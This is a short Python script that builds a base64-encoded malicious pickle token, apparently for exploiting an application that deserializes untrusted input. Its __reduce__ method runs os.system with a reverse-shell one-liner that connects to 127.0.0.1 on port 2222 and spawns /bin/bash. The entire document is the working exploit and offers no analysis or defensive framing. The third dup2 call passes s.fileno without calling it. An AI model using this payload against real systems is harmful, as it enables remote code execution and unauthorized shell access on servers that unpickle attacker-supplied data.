import pickle, base64, os

class EvilToken(object):
    def __reduce__(self):
        return (os.system,('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno,2);import pty; pty.spawn("/bin/bash")\'',))

token=EvilToken()
pickled_token=pickle.dumps(token)
b64 = base64.b64encode(pickled_token)
print(b64)